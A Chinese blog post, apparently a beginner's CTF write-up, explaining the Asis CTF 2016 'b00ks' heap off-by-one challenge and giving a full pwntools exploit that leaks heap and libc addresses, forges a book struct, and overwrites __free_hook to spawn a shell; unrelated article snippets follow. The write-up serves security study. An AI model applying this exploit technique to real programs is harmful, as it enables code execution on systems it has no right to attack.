【PWN · heap | Off-By-One】Asis CTF 2016 b00ks
萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧
前言
步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。
b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。
一、一些疑难点以及思考
wp在网上有很多,然而读了五六篇不同大佬师傅写的wp,发现有很多细节被忽略了,可能这些细节都是很简单的,然而作为萌新,一些基本的知识和思路还是缺乏。
好在,经过两三天的啃、跟着做,终于有了一些见解,基本思路也打通了。具体的wp就不在这里写了,可以食用其他大佬的wp,更为优质,而我就做一些补充。一些来自于本蒟蒻的细节的补充。
细节0:off-by-one进行的单字节溢出,可以用作泄露,可以用作覆写。
细节1:结构体分配内存时,先name成员指针、再description成员指针、后book结构体指针
- 这个细节决定了,我们通过off-by-one进行单字节溢出时,地址总是减小,因此可以将book1结构体更新到description
细节2:description可以修改,因此布置fake-book1要在单字节覆写之前;name不可以修改,但是会被首先free——即free_hook在free name时首先发作
- 这就意味着——如果不用onegadget,而利用system('/bin/sh')那就需要把name指针布置为bin_sh字符串指针,也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址,同时由于book结构体中name、desc两个指针相邻,所以修改name值时,填入p64(bin_sh)+p64(free_hook)即可覆写name+desc指针为指定指针
细节3:fake_book1的偏移,为了能让fake_book1落在指定的、更新后的book1的位置,前面可能需要填充padding,这个通过gdb调试,将偏移后的伪结构体数据布置到指定指针位置。
- 每次运行虽然heap变化,但是低位不变,因此偏移也固定。为了方便布置,可以将book1的descrption内容开大一些。
二、EXP
from pwn import *context(arch='amd64',log_level='debug')io=process('./b00ks')
def create(namesize,name,descriptionsize,description):io.sendlineafter(b'> ',b'1')io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())io.sendlineafter(b'Enter book name (Max 32 chars): ',name)io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())io.sendlineafter(b'Enter book description: ',description)
def delete(bookid):io.sendlineafter(b'> ',b'2')io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b'> ',b'3')io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())io.sendlineafter(b'nter new book description: ',newdescription)def printinfo(id):io.sendlineafter(b'> ',b'4')for i in range(id):io.recvuntil(b'ID: ')ID=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Name: ')Name=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Description: ')Description=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Author: ')Author=io.recvuntil(b'\n',drop=True)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b'> ',b'5')io.sendlineafter(b'Enter author name: ',newAuthorname)### 1.泄露第一个book结构体的指针
# gdb.attach(io)
bookname=b'a'*32
io.sendlineafter(b'Enter author name: ',bookname)
create(16,b'a',256,b'a')io.sendlineafter(b'> ',b'4')
io.recvuntil(b'a'*32)
book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
success('book1_ptr={}'.format(hex(book1_ptr)))
raw_input()### 2.伪造book1,并通过off-by-one修改book1到fake_book1
# 将fake_book1的name_ptr属性指向book2的name,将fake_book1的description_ptr属性指向book2的description
# 注意,由于name和description属性都是malloc的,且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以+0x40(desc)在前,+0x38(name)在后,是因为第二个位置对应可修改的desc指针,可以通过其修改book2的name、desc
fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
# fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff)
edit(1,fake_book1)# 为了泄露libc版本,需要让book2的name或description由mmap分配,同时也因此,book1和book2的堆空间相邻
create(0x21000,b'b',0x21000,b'b')
changeAuthor(bookname)
# 注意下面的顺序,先desc再name对应payload的布置
book2_id,book2_desc,book2_name,book2_author=printinfo(1)
print(book2_id,book2_name,book2_desc,book2_author)
book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
raw_input()libc_base=book2_name_ptr-0x5cf010
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
system=libc_base+libc.sym['system']
success('system:{}'.format(hex(system)))
execve=libc_base+libc.sym['execve']
success('execve:{}'.format(hex(execve)))
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
success('bin_sh:{}'.format(hex(bin_sh)))
free_hook=libc_base+libc.sym['__free_hook']
raw_input()### 通过onegadget来打,但是均失败了
# one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
# edit(1,p64(0)+p64(free_hook))
# edit(2,p64(one_gadget))
# delete(2)
### 注意,这里的onegadget是没有patchelf该so和ld文件前即22.04版,16.04版未尝试### 通过system('/bin/sh')来打
edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针,desc指针指向free_hook
edit(2,p64(system)) #修改free_hook的值为system\
raw_input('+++++++')
delete(2)# name指向的区域最先free,触发free_hook,此时已改为systemio.interactive()
三、效果
总结
还是比较难的,但是跟着wp做了一遍,发现细节、原理、思路以及流程都能够了解并掌握,且gdb调适能力大大提升。加油!
相关文章:

【PWN · heap | Off-By-One】Asis CTF 2016 b00ks
萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧 前言 步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。 b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全…...

C++STL---Vector、List所要掌握的基本知识
绪论 拼着一切代价,奔你的前程。 ——巴尔扎克;本章主要围绕vector和list的使用,以及容器底层迭代器失效问题,同时会有对原码的分析和模拟实现其底层类函数。话不多说安全带系好,发车啦(建议电脑…...

使用FastAPI部署Ultralytics YOLOv5模型
YOLO是You Only Look Once(你只看一次)的缩写,它具有识别图像中的物体的非凡能力,在日常应用中会经常被使用。所以在本文中,我们将介绍如何使用FastAPI的集成YOLOv5,这样我们可以将YOLOv5做为API对外提供服务。 Python有几个web框…...

A. Doremy‘s Paint 3
今天第一次打CF,不过鼠鼠被气死了 先说说战况,今天一发没A(赛场上),生活真是无奈,废物女友真是一点用没有 心里也很烦,什么压力都自己扛着。每天想尝试改变什么,又被现实掣肘&…...

深度学习_1 介绍;安装环境
深度学习 学习自李沐老师的课程。笔记主要以总结老师所讲解的内容以及我个人的想法为主,侵删! 课程链接:课程安排 - 动手学深度学习课程 (d2l.ai) 介绍 AI地图: 首先,AI 能对问题处理到什么地步?分为四…...
Python基础入门例程19-NP19 列表的长度(列表)
最近的博文: Python基础入门例程18-NP18 生成数字列表(列表)-CSDN博客 Python基础入门例程17-NP17 生成列表(列表)-CSDN博客 Python基础入门例程16-NP16 发送offer(列表)-CSDN博客 目录 描述 输入描述: 输出描述࿱…...
LeetCode 2558. 从数量最多的堆取走礼物
【LetMeFly】2558.从数量最多的堆取走礼物 力扣题目链接:https://leetcode.cn/problems/take-gifts-from-the-richest-pile/ 给你一个整数数组 gifts ,表示各堆礼物的数量。每一秒,你需要执行以下操作: 选择礼物数量最多的那一…...

【JVM】字节码文件的组成部分
🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaEE 操作系统 Redis 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 JVM 一、字节码文件的组成部分1.1 iconst_0…...

STM32 TIM(四)编码器接口
STM32 TIM(四)编码器接口 编码器接口简介 Encoder Interface 编码器接口 编码器接口可接收增量(正交)编码器的信号,根据编码器旋转产生的正交信号脉冲,自动控制CNT自增或自减,从而指示编码器的…...
力扣第56题 合并区间 c++ 贪心
题目 56. 合并区间 中等 相关标签 数组 排序 以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。 示例…...
php 日期
其中关于周的起止,使用date("N"),确保每周周一为起始,避免周日时出现作为新一周起始的情况 //获取上个月第一天 echo "上个月开始时间:".date(Y-m-01 00:00:00,strtotime(-1 month))."\r\n\r\n"; …...
食物链解读
[NOI2001] 食物链 题目描述 动物王国中有三类动物 A , B , C A,B,C A,B,C,这三类动物的食物链构成了有趣的环形。 A A A 吃 B B B, B B B 吃 C C C, C C C 吃 A A A。 现有 N N N 个动物,以 1 ∼ N 1 \sim N 1∼N 编号。…...

Day10配置文件日志多线程
配置文件 在企业开发过程中,我们习惯把一些需要灵活配置的数据放在一些文本文件中,而不是在Java代码写死 我们把这种存放程序配置信息的文件,统称为配置文件 properties 是一个Map集合(键值对集合),但是我…...

leetcode:1154. 一年中的第几天(python3解法)
难度:简单 给你一个字符串 date ,按 YYYY-MM-DD 格式表示一个 现行公元纪年法 日期。返回该日期是当年的第几天。 示例 1: 输入:date "2019-01-09" 输出:9 解释:给定日期是2019年的第九天。 示例…...

竞赛 深度学习图像修复算法 - opencv python 机器视觉
文章目录 0 前言2 什么是图像内容填充修复3 原理分析3.1 第一步:将图像理解为一个概率分布的样本3.2 补全图像 3.3 快速生成假图像3.4 生成对抗网络(Generative Adversarial Net, GAN) 的架构3.5 使用G(z)生成伪图像 4 在Tensorflow上构建DCGANs最后 0 前言 &#…...
flutter升级+生成drift文件
1. flutter升级 可以安装fvm进行flutter version manager FVM 安装笔记 - 掘金 (juejin.cn) 使用flutter upgrade, 但是没有效果, 可能需要到我的电脑中,更改高级系统设置;改变/增加环境变量;用来加上flutter官网获取信息的内…...

[AUTOSAR][诊断管理][ECU][$34] 下载请求
文章目录 一、简介二、服务请求报文定义肯定响应支持的NRC三、示例代码34_req_dowload.c一、简介 RequestDownload(0x34)—— 下载请求 这个服务主要是用来给ECU下载数据的,最常见的应用就是在bootloader中,程序下载工具会发起下载请求,以完成ECU程序的升级。 二、服务…...
C 标准库 - <errno.h>和<float.h>详解
目录 简介 常见库宏 简介 常见库宏 <errno.h> 简介 <errno.h>头文件定义了一个名为errno的全局变量,用于表示最近发生的错误代码。errno是一个整数变量,它的值通常是一个非零的错误代码,用于指示发生了什么类型的错误。也可以…...
对于如何学习的一点思考
目录 1、学习遇到的问题 2、问题分析 3、解决思路 1、学习遇到的问题 我们经常在学习一个知识时,经常会遇到知识点凌乱、读书效率低、缺乏长期记忆等问题,主要体现在: 知识点凌乱:花时间学习了很多技术点,但是由于…...
Ensemble Methods集成学习大比拼:性能、应用场景和可视化对比总结
集成学习(Ensemble Learning)是一种机器学习范式,其中多个模型(通常称为“弱学习器”)被训练以解决相同的问题,并且通过某种方式结合它们的预测以提高整体性能。这种方法的核心思想是,多个模型比单一模型更能准确地预测未知数据。在本文中,我们将探讨多种集成学习算法,…...

龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...

循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...

前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...

什么是库存周转?如何用进销存系统提高库存周转率?
你可能听说过这样一句话: “利润不是赚出来的,是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业,很多企业看着销售不错,账上却没钱、利润也不见了,一翻库存才发现: 一堆卖不动的旧货…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...